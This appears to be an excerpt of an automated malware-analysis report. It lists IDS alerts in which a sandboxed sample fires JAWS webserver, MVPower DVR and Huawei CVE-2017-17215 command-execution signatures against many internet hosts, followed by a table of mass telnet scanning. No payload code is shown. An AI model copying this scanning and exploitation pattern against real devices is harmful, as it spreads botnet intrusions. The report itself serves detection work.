04/14/24-04:00:12.937605	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38666	80	192.168.2.23	129.28.53.189
04/14/24-04:00:26.976807	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44914	80	192.168.2.23	96.74.81.73
04/14/24-04:00:24.478718	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40828	80	192.168.2.23	74.192.141.13
04/14/24-04:00:24.904149	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57862	80	192.168.2.23	35.157.77.150
04/14/24-04:00:05.016775	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60318	80	192.168.2.23	68.171.34.193
04/14/24-04:00:09.017728	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49754	80	192.168.2.23	184.29.247.159
04/14/24-04:00:29.596205	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37298	80	192.168.2.23	188.131.28.55
04/14/24-04:00:25.934559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45166	80	192.168.2.23	89.151.135.181
04/14/24-04:00:33.862232	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60138	80	192.168.2.23	116.211.203.36
04/14/24-04:00:05.058210	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43136	80	192.168.2.23	150.60.98.40
04/14/24-04:00:25.900343	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40928	80	192.168.2.23	18.245.56.167
04/14/24-04:00:24.923757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41946	80	192.168.2.23	188.128.159.3
04/14/24-04:00:33.276664	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55714	80	192.168.2.23	78.4.115.21
04/14/24-04:00:29.402964	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54972	80	192.168.2.23	76.53.156.26
04/14/24-04:00:11.976055	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50470	80	192.168.2.23	149.248.6.29
04/14/24-04:00:19.688340	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57582	80	192.168.2.23	45.207.81.150
04/14/24-03:59:56.922627	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54178	80	192.168.2.23	20.234.98.243
04/14/24-04:00:15.617091	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49514	80	192.168.2.23	185.224.74.17
04/14/24-04:00:19.922646	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60592	80	192.168.2.23	52.216.59.66
04/14/24-04:00:20.008922	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38168	80	192.168.2.23	217.194.210.146
04/14/24-04:00:24.607773	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35042	80	192.168.2.23	78.47.233.99
04/14/24-04:00:33.611924	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40826	80	192.168.2.23	45.40.228.134
04/14/24-04:00:18.378935	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43818	80	192.168.2.23	195.93.252.236
04/14/24-04:00:05.646194	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38762	80	192.168.2.23	34.71.233.233
04/14/24-04:00:08.569817	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38560	80	192.168.2.23	24.32.193.60
04/14/24-04:00:34.157874	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60420	80	192.168.2.23	23.32.107.86
04/14/24-04:00:13.899234	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33350	80	192.168.2.23	180.188.192.104
04/14/24-04:00:26.976807	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44914	80	192.168.2.23	96.74.81.73
04/14/24-04:00:16.225784	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56308	80	192.168.2.23	163.171.146.85
04/14/24-04:00:07.953083	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46616	80	192.168.2.23	164.90.150.192
04/14/24-04:00:17.027065	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54860	80	192.168.2.23	154.85.249.119
04/14/24-04:00:25.910501	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60514	80	192.168.2.23	92.54.13.41
04/14/24-04:00:12.562434	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48196	80	192.168.2.23	47.92.115.75
04/14/24-04:00:33.224100	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58490	80	192.168.2.23	190.253.246.27
04/14/24-04:00:24.919717	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57226	80	192.168.2.23	52.49.43.91
04/14/24-04:00:29.388705	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56638	80	192.168.2.23	172.65.192.203
04/14/24-04:00:33.468227	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43274	80	192.168.2.23	38.152.60.111
04/14/24-04:00:24.588473	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57234	80	192.168.2.23	45.207.75.27
04/14/24-04:00:29.883244	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59856	80	192.168.2.23	188.128.178.31
04/14/24-03:59:56.620149	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47516	80	192.168.2.23	155.94.203.145
04/14/24-03:59:56.311909	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55290	80	192.168.2.23	54.81.227.101
04/14/24-04:00:05.670640	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58740	80	192.168.2.23	23.52.157.149
04/14/24-04:00:08.355252	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46802	80	192.168.2.23	94.182.134.213
04/14/24-04:00:29.596205	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37298	80	192.168.2.23	188.131.28.55
04/14/24-04:00:15.509784	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56790	80	192.168.2.23	104.93.166.225
04/14/24-04:00:12.798790	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46580	80	192.168.2.23	70.65.82.244
04/14/24-04:00:13.522053	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57380	80	192.168.2.23	45.207.81.150
04/14/24-04:00:24.575791	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52942	80	192.168.2.23	43.240.49.18
04/14/24-04:00:17.023294	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58804	80	192.168.2.23	217.151.192.74
04/14/24-04:00:25.934559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45166	80	192.168.2.23	89.151.135.181
04/14/24-04:00:33.599068	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34552	80	192.168.2.23	13.33.218.4
04/14/24-04:00:16.225784	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56308	80	192.168.2.23	163.171.146.85
04/14/24-04:00:25.032250	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42404	80	192.168.2.23	202.87.217.44
04/14/24-04:00:19.926450	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52844	80	192.168.2.23	108.190.17.225
04/14/24-03:59:56.475226	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40676	80	192.168.2.23	185.211.1.42
04/14/24-04:00:18.378935	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43818	80	192.168.2.23	195.93.252.236
04/14/24-04:00:19.094411	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47800	80	192.168.2.23	219.89.83.149
04/14/24-04:00:33.611924	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40826	80	192.168.2.23	45.40.228.134
04/14/24-04:00:24.943570	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48720	80	192.168.2.23	193.22.248.237
04/14/24-04:00:12.797286	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46086	80	192.168.2.23	207.142.0.111
04/14/24-04:00:05.016775	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60318	80	192.168.2.23	68.171.34.193
04/14/24-04:00:18.371927	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40378	80	192.168.2.23	68.183.83.157
04/14/24-03:59:56.628383	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49568	80	192.168.2.23	13.52.1.108
04/14/24-04:00:05.051096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35774	80	192.168.2.23	190.149.62.34
04/14/24-04:00:12.008878	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58232	80	192.168.2.23	96.6.167.60
04/14/24-04:00:27.738390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45180	37215	192.168.2.23	156.241.117.155
04/14/24-04:00:05.533652	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51582	80	192.168.2.23	27.72.102.225
04/14/24-04:00:15.608061	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57444	80	192.168.2.23	45.207.81.150
04/14/24-03:59:56.264148	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52558	80	192.168.2.23	38.63.122.183
04/14/24-04:00:29.883244	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59856	80	192.168.2.23	188.128.178.31
04/14/24-04:00:33.630357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60084	80	192.168.2.23	59.111.246.132
04/14/24-04:00:05.520888	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42544	80	192.168.2.23	197.26.114.150
04/14/24-04:00:13.906471	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52116	80	192.168.2.23	195.231.18.97
04/14/24-04:00:19.054169	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55180	80	192.168.2.23	61.216.15.233
04/14/24-04:00:17.023294	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58804	80	192.168.2.23	217.151.192.74
04/14/24-04:00:15.505726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50978	80	192.168.2.23	104.70.75.170
04/14/24-04:00:25.032250	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42404	80	192.168.2.23	202.87.217.44
04/14/24-04:00:05.149491	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35692	80	192.168.2.23	82.48.3.45
04/14/24-04:00:24.985363	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57440	80	192.168.2.23	45.207.75.27
04/14/24-04:00:15.509784	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56790	80	192.168.2.23	104.93.166.225
04/14/24-04:00:05.670640	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58740	80	192.168.2.23	23.52.157.149
04/14/24-04:00:13.906471	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52116	80	192.168.2.23	195.231.18.97
04/14/24-04:00:12.797286	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46086	80	192.168.2.23	207.142.0.111
04/14/24-04:00:33.907686	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34578	80	192.168.2.23	160.124.63.244
04/14/24-04:00:12.038889	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41454	80	192.168.2.23	52.205.244.98
04/14/24-04:00:33.630357	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60084	80	192.168.2.23	59.111.246.132
04/14/24-04:00:29.546756	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38032	80	192.168.2.23	174.138.8.3
04/14/24-04:00:08.179034	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51996	80	192.168.2.23	23.47.29.250
04/14/24-04:00:13.583169	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58264	80	192.168.2.23	107.186.169.35
04/14/24-04:00:15.505726	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50978	80	192.168.2.23	104.70.75.170
04/14/24-03:59:56.264148	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52558	80	192.168.2.23	38.63.122.183
04/14/24-04:00:24.943570	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48720	80	192.168.2.23	193.22.248.237
04/14/24-04:00:25.924647	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56592	80	192.168.2.23	106.120.182.166
04/14/24-04:00:04.433794	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51554	37215	192.168.2.23	156.241.98.190
04/14/24-04:00:13.497161	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57142	80	192.168.2.23	45.207.81.150
04/14/24-03:59:56.628383	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49568	80	192.168.2.23	13.52.1.108
04/14/24-04:00:33.599068	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34552	80	192.168.2.23	13.33.218.4
04/14/24-04:00:15.608061	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57444	80	192.168.2.23	45.207.81.150

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 14, 2024 03:59:49.837400913 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 14, 2024 03:59:52.040740967 CEST	4951	23	192.168.2.23	207.64.5.2
Apr 14, 2024 03:59:52.040781975 CEST	4951	23	192.168.2.23	135.159.186.2
Apr 14, 2024 03:59:52.040791035 CEST	4951	23	192.168.2.23	178.9.227.1
Apr 14, 2024 03:59:52.040793896 CEST	4951	23	192.168.2.23	140.108.75.151
Apr 14, 2024 03:59:52.040815115 CEST	4951	23	192.168.2.23	218.23.198.84
Apr 14, 2024 03:59:52.040826082 CEST	4951	23	192.168.2.23	144.105.177.14
Apr 14, 2024 03:59:52.040838003 CEST	4951	23	192.168.2.23	147.93.113.56
Apr 14, 2024 03:59:52.040838003 CEST	4951	23	192.168.2.23	162.47.80.244
Apr 14, 2024 03:59:52.040839911 CEST	4951	23	192.168.2.23	159.168.207.170
Apr 14, 2024 03:59:52.040854931 CEST	4951	23	192.168.2.23	193.211.70.196
Apr 14, 2024 03:59:52.040860891 CEST	4951	23	192.168.2.23	104.216.166.225
Apr 14, 2024 03:59:52.040863037 CEST	4951	23	192.168.2.23	31.72.106.90
Apr 14, 2024 03:59:52.040863037 CEST	4951	23	192.168.2.23	176.79.137.253
Apr 14, 2024 03:59:52.040870905 CEST	4951	23	192.168.2.23	52.241.101.174
Apr 14, 2024 03:59:52.040869951 CEST	4951	23	192.168.2.23	54.190.140.236
Apr 14, 2024 03:59:52.040887117 CEST	4951	23	192.168.2.23	59.171.222.154
Apr 14, 2024 03:59:52.040893078 CEST	4951	23	192.168.2.23	53.246.225.212
Apr 14, 2024 03:59:52.040906906 CEST	4951	23	192.168.2.23	115.93.144.56
Apr 14, 2024 03:59:52.040910006 CEST	4951	23	192.168.2.23	160.172.161.2
Apr 14, 2024 03:59:52.040910959 CEST	4951	23	192.168.2.23	159.101.148.42
Apr 14, 2024 03:59:52.040925026 CEST	4951	23	192.168.2.23	13.223.37.30
Apr 14, 2024 03:59:52.040930033 CEST	4951	23	192.168.2.23	160.31.92.74
Apr 14, 2024 03:59:52.040931940 CEST	4951	23	192.168.2.23	57.48.54.169
Apr 14, 2024 03:59:52.040941000 CEST	4951	23	192.168.2.23	123.160.210.74
Apr 14, 2024 03:59:52.040942907 CEST	4951	23	192.168.2.23	135.150.234.177
Apr 14, 2024 03:59:52.041335106 CEST	4951	23	192.168.2.23	166.216.170.115
Apr 14, 2024 03:59:52.041336060 CEST	4951	23	192.168.2.23	86.194.33.132
Apr 14, 2024 03:59:52.041340113 CEST	4951	23	192.168.2.23	68.135.51.40
Apr 14, 2024 03:59:52.041349888 CEST	4951	23	192.168.2.23	36.61.97.46
Apr 14, 2024 03:59:52.041388988 CEST	4951	23	192.168.2.23	159.245.194.119
Apr 14, 2024 03:59:52.041388988 CEST	4951	23	192.168.2.23	190.90.200.6
Apr 14, 2024 03:59:52.041390896 CEST	4951	23	192.168.2.23	51.21.197.70
Apr 14, 2024 03:59:52.041394949 CEST	4951	23	192.168.2.23	124.67.175.135
Apr 14, 2024 03:59:52.041395903 CEST	4951	23	192.168.2.23	134.225.156.96
Apr 14, 2024 03:59:52.041399002 CEST	4951	23	192.168.2.23	182.185.185.254
Apr 14, 2024 03:59:52.041403055 CEST	4951	23	192.168.2.23	8.67.61.114
Apr 14, 2024 03:59:52.041414022 CEST	4951	23	192.168.2.23	135.25.89.52
Apr 14, 2024 03:59:52.041419983 CEST	4951	23	192.168.2.23	204.94.112.177
Apr 14, 2024 03:59:52.041423082 CEST	4951	23	192.168.2.23	150.234.148.129
Apr 14, 2024 03:59:52.041424036 CEST	4951	23	192.168.2.23	111.71.33.41
Apr 14, 2024 03:59:52.041440010 CEST	4951	23	192.168.2.23	59.211.156.213
Apr 14, 2024 03:59:52.041443110 CEST	4951	23	192.168.2.23	23.18.237.238
Apr 14, 2024 03:59:52.041455984 CEST	4951	23	192.168.2.23	103.204.43.211
Apr 14, 2024 03:59:52.041459084 CEST	4951	23	192.168.2.23	158.38.112.58
Apr 14, 2024 03:59:52.041459084 CEST	4951	23	192.168.2.23	140.129.102.139
Apr 14, 2024 03:59:52.041459084 CEST	4951	23	192.168.2.23	118.134.197.162
Apr 14, 2024 03:59:52.041470051 CEST	4951	23	192.168.2.23	108.114.41.77
Apr 14, 2024 03:59:52.041471004 CEST	4951	23	192.168.2.23	181.170.161.10
Apr 14, 2024 03:59:52.041475058 CEST	4951	23	192.168.2.23	72.53.59.199
Apr 14, 2024 03:59:52.041485071 CEST	4951	23	192.168.2.23	13.115.76.142
Apr 14, 2024 03:59:52.041487932 CEST	4951	23	192.168.2.23	68.87.9.17
Apr 14, 2024 03:59:52.041500092 CEST	4951	23	192.168.2.23	163.200.147.236
Apr 14, 2024 03:59:52.041501999 CEST	4951	23	192.168.2.23	203.217.218.119
Apr 14, 2024 03:59:52.041501999 CEST	4951	23	192.168.2.23	187.0.97.215
Apr 14, 2024 03:59:52.041515112 CEST	4951	23	192.168.2.23	173.65.2.202
Apr 14, 2024 03:59:52.041516066 CEST	4951	23	192.168.2.23	125.41.102.199
Apr 14, 2024 03:59:52.041537046 CEST	4951	23	192.168.2.23	139.130.50.186
Apr 14, 2024 03:59:52.041538954 CEST	4951	23	192.168.2.23	102.62.27.149
Apr 14, 2024 03:59:52.041541100 CEST	4951	23	192.168.2.23	104.34.96.223
Apr 14, 2024 03:59:52.041541100 CEST	4951	23	192.168.2.23	175.247.47.252
Apr 14, 2024 03:59:52.041551113 CEST	4951	23	192.168.2.23	200.214.115.149
Apr 14, 2024 03:59:52.041569948 CEST	4951	23	192.168.2.23	74.30.156.150
Apr 14, 2024 03:59:52.041574955 CEST	4951	23	192.168.2.23	98.249.44.168
Apr 14, 2024 03:59:52.041574955 CEST	4951	23	192.168.2.23	219.140.202.163
Apr 14, 2024 03:59:52.041583061 CEST	4951	23	192.168.2.23	39.48.148.25
Apr 14, 2024 03:59:52.041589975 CEST	4951	23	192.168.2.23	122.58.68.218
Apr 14, 2024 03:59:52.041589975 CEST	4951	23	192.168.2.23	133.87.223.86
Apr 14, 2024 03:59:52.041590929 CEST	4951	23	192.168.2.23	68.170.120.114
Apr 14, 2024 03:59:52.041599035 CEST	4951	23	192.168.2.23	72.88.27.254
Apr 14, 2024 03:59:52.041618109 CEST	4951	23	192.168.2.23	105.118.69.46
Apr 14, 2024 03:59:52.041618109 CEST	4951	23	192.168.2.23	213.4.235.250
Apr 14, 2024 03:59:52.041620016 CEST	4951	23	192.168.2.23	206.22.179.160
Apr 14, 2024 03:59:52.041635036 CEST	4951	23	192.168.2.23	32.182.211.193
Apr 14, 2024 03:59:52.041636944 CEST	4951	23	192.168.2.23	160.126.161.240
Apr 14, 2024 03:59:52.041639090 CEST	4951	23	192.168.2.23	62.38.226.201
Apr 14, 2024 03:59:52.041651011 CEST	4951	23	192.168.2.23	183.148.123.94
Apr 14, 2024 03:59:52.041652918 CEST	4951	23	192.168.2.23	200.71.141.220
Apr 14, 2024 03:59:52.041659117 CEST	4951	23	192.168.2.23	209.86.236.59
Apr 14, 2024 03:59:52.041663885 CEST	4951	23	192.168.2.23	23.122.18.141
Apr 14, 2024 03:59:52.041672945 CEST	4951	23	192.168.2.23	120.210.5.115
Apr 14, 2024 03:59:52.041719913 CEST	4951	23	192.168.2.23	219.230.44.54
Apr 14, 2024 03:59:52.041722059 CEST	4951	23	192.168.2.23	184.56.101.200
Apr 14, 2024 03:59:52.041724920 CEST	4951	23	192.168.2.23	12.107.50.244
Apr 14, 2024 03:59:52.041726112 CEST	4951	23	192.168.2.23	105.192.143.253
Apr 14, 2024 03:59:52.041726112 CEST	4951	23	192.168.2.23	186.100.78.245
Apr 14, 2024 03:59:52.041735888 CEST	4951	23	192.168.2.23	72.8.243.22
Apr 14, 2024 03:59:52.041738987 CEST	4951	23	192.168.2.23	38.76.96.26
Apr 14, 2024 03:59:52.041763067 CEST	4951	23	192.168.2.23	149.186.71.9
Apr 14, 2024 03:59:52.041764021 CEST	4951	23	192.168.2.23	68.96.13.242
Apr 14, 2024 03:59:52.041769981 CEST	4951	23	192.168.2.23	216.234.189.120
Apr 14, 2024 03:59:52.041790009 CEST	4951	23	192.168.2.23	93.160.168.128
Apr 14, 2024 03:59:52.041791916 CEST	4951	23	192.168.2.23	172.227.140.171
Apr 14, 2024 03:59:52.041800976 CEST	4951	23	192.168.2.23	53.255.129.249
Apr 14, 2024 03:59:52.041800976 CEST	4951	23	192.168.2.23	49.14.148.136
Apr 14, 2024 03:59:52.041809082 CEST	4951	23	192.168.2.23	165.220.45.221
Apr 14, 2024 03:59:52.041810036 CEST	4951	23	192.168.2.23	131.3.201.151
Apr 14, 2024 03:59:52.041815042 CEST	4951	23	192.168.2.23	132.119.219.101
Apr 14, 2024 03:59:52.041829109 CEST	4951	23	192.168.2.23	203.124.54.93
Apr 14, 2024 03:59:52.041830063 CEST	4951	23	192.168.2.23	200.238.91.124
Apr 14, 2024 03:59:52.041837931 CEST	4951	23	192.168.2.23	102.1.150.157
Apr 14, 2024 03:59:52.041841984 CEST	4951	23	192.168.2.23	222.10.103.103
Apr 14, 2024 03:59:52.041845083 CEST	4951	23	192.168.2.23	81.5.145.53
Apr 14, 2024 03:59:52.041857004 CEST	4951	23	192.168.2.23	59.126.240.235
Apr 14, 2024 03:59:52.041857958 CEST	4951	23	192.168.2.23	23.13.70.1
Apr 14, 2024 03:59:52.041865110 CEST	4951	23	192.168.2.23	92.29.157.192
Apr 14, 2024 03:59:52.041873932 CEST	4951	23	192.168.2.23	103.50.120.62
Apr 14, 2024 03:59:52.041876078 CEST	4951	23	192.168.2.23	80.68.170.179
Apr 14, 2024 03:59:52.041887045 CEST	4951	23	192.168.2.23	212.222.241.240
Apr 14, 2024 03:59:52.041891098 CEST	4951	23	192.168.2.23	134.128.231.26
Apr 14, 2024 03:59:52.041892052 CEST	4951	23	192.168.2.23	143.149.232.60
Apr 14, 2024 03:59:52.041903973 CEST	4951	23	192.168.2.23	143.104.99.40
Apr 14, 2024 03:59:52.041903973 CEST	4951	23	192.168.2.23	202.22.128.148
Apr 14, 2024 03:59:52.041910887 CEST	4951	23	192.168.2.23	157.207.58.9
Apr 14, 2024 03:59:52.041918039 CEST	4951	23	192.168.2.23	101.59.72.48
Apr 14, 2024 03:59:52.041918039 CEST	4951	23	192.168.2.23	51.153.91.108
Apr 14, 2024 03:59:52.041922092 CEST	4951	23	192.168.2.23	186.226.91.254
Apr 14, 2024 03:59:52.041924953 CEST	4951	23	192.168.2.23	49.205.2.121
Apr 14, 2024 03:59:52.041937113 CEST	4951	23	192.168.2.23	103.114.101.230
Apr 14, 2024 03:59:52.041941881 CEST	4951	23	192.168.2.23	147.96.113.166
Apr 14, 2024 03:59:52.041948080 CEST	4951	23	192.168.2.23	49.250.176.190
Apr 14, 2024 03:59:52.041953087 CEST	4951	23	192.168.2.23	95.252.76.16
Apr 14, 2024 03:59:52.041973114 CEST	4951	23	192.168.2.23	35.100.203.158
Apr 14, 2024 03:59:52.041974068 CEST	4951	23	192.168.2.23	173.142.117.194
Apr 14, 2024 03:59:52.041980982 CEST	4951	23	192.168.2.23	67.198.40.196
Apr 14, 2024 03:59:52.041982889 CEST	4951	23	192.168.2.23	140.5.198.213
Apr 14, 2024 03:59:52.041986942 CEST	4951	23	192.168.2.23	2.196.28.125
Apr 14, 2024 03:59:52.041986942 CEST	4951	23	192.168.2.23	132.202.243.100
Apr 14, 2024 03:59:52.041990995 CEST	4951	23	192.168.2.23	39.182.193.67
Apr 14, 2024 03:59:52.042001963 CEST	4951	23	192.168.2.23	152.9.191.29
Apr 14, 2024 03:59:52.042011976 CEST	4951	23	192.168.2.23	188.128.218.13
Apr 14, 2024 03:59:52.042013884 CEST	4951	23	192.168.2.23	44.55.186.25
Apr 14, 2024 03:59:52.042027950 CEST	4951	23	192.168.2.23	61.98.197.156
Apr 14, 2024 03:59:52.042027950 CEST	4951	23	192.168.2.23	104.76.169.200
Apr 14, 2024 03:59:52.042032957 CEST	4951	23	192.168.2.23	157.43.74.52
Apr 14, 2024 03:59:52.042043924 CEST	4951	23	192.168.2.23	96.134.218.252
Apr 14, 2024 03:59:52.042051077 CEST	4951	23	192.168.2.23	168.93.217.126
Apr 14, 2024 03:59:52.042052984 CEST	4951	23	192.168.2.23	106.20.224.247
Apr 14, 2024 03:59:52.042062998 CEST	4951	23	192.168.2.23	192.78.155.47
Apr 14, 2024 03:59:52.043251991 CEST	4951	23	192.168.2.23	218.251.91.154
Apr 14, 2024 03:59:52.043251991 CEST	4951	23	192.168.2.23	34.117.238.189
Apr 14, 2024 03:59:52.043257952 CEST	4951	23	192.168.2.23	100.219.226.141
Apr 14, 2024 03:59:52.043270111 CEST	4951	23	192.168.2.23	42.50.177.47
Apr 14, 2024 03:59:52.043270111 CEST	4951	23	192.168.2.23	155.137.185.162
Apr 14, 2024 03:59:52.043276072 CEST	4951	23	192.168.2.23	165.212.174.168
Apr 14, 2024 03:59:52.043277979 CEST	4951	23	192.168.2.23	81.148.237.205
Apr 14, 2024 03:59:52.043318987 CEST	4951	23	192.168.2.23	178.0.37.148
Apr 14, 2024 03:59:52.043318987 CEST	4951	23	192.168.2.23	70.45.35.147
Apr 14, 2024 03:59:52.043333054 CEST	4951	23	192.168.2.23	169.71.242.0
Apr 14, 2024 03:59:52.043333054 CEST	4951	23	192.168.2.23	121.151.26.90
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	81.178.86.94
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	218.15.144.113
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	197.235.64.76
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	179.59.251.128
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	40.214.167.19
Apr 14, 2024 03:59:52.043334007 CEST	4951	23	192.168.2.23	118.218.100.16
Apr 14, 2024 03:59:52.043337107 CEST	4951	23	192.168.2.23	131.109.145.170
Apr 14, 2024 03:59:52.043380976 CEST	4951	23	192.168.2.23	74.159.249.10
Apr 14, 2024 03:59:52.043381929 CEST	4951	23	192.168.2.23	164.224.122.246
Apr 14, 2024 03:59:52.043384075 CEST	4951	23	192.168.2.23	64.11.248.167
Apr 14, 2024 03:59:52.043385983 CEST	4951	23	192.168.2.23	32.102.73.198
Apr 14, 2024 03:59:52.043390036 CEST	4951	23	192.168.2.23	182.58.177.183
Apr 14, 2024 03:59:52.043390036 CEST	4951	23	192.168.2.23	53.41.73.107
Apr 14, 2024 03:59:52.043386936 CEST	4951	23	192.168.2.23	78.107.195.104
Apr 14, 2024 03:59:52.043390036 CEST	4951	23	192.168.2.23	125.66.202.251
Apr 14, 2024 03:59:52.043386936 CEST	4951	23	192.168.2.23	110.251.194.179
Apr 14, 2024 03:59:52.043391943 CEST	4951	23	192.168.2.23	167.80.134.56
Apr 14, 2024 03:59:52.043386936 CEST	4951	23	192.168.2.23	107.207.92.95
Apr 14, 2024 03:59:52.043386936 CEST	4951	23	192.168.2.23	144.185.247.222
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	143.56.115.37
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	81.55.96.40
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	134.255.95.215
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	157.47.21.186
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	76.163.173.197
Apr 14, 2024 03:59:52.043396950 CEST	4951	23	192.168.2.23	156.98.147.111
Apr 14, 2024 03:59:52.043405056 CEST	4951	23	192.168.2.23	148.209.60.165
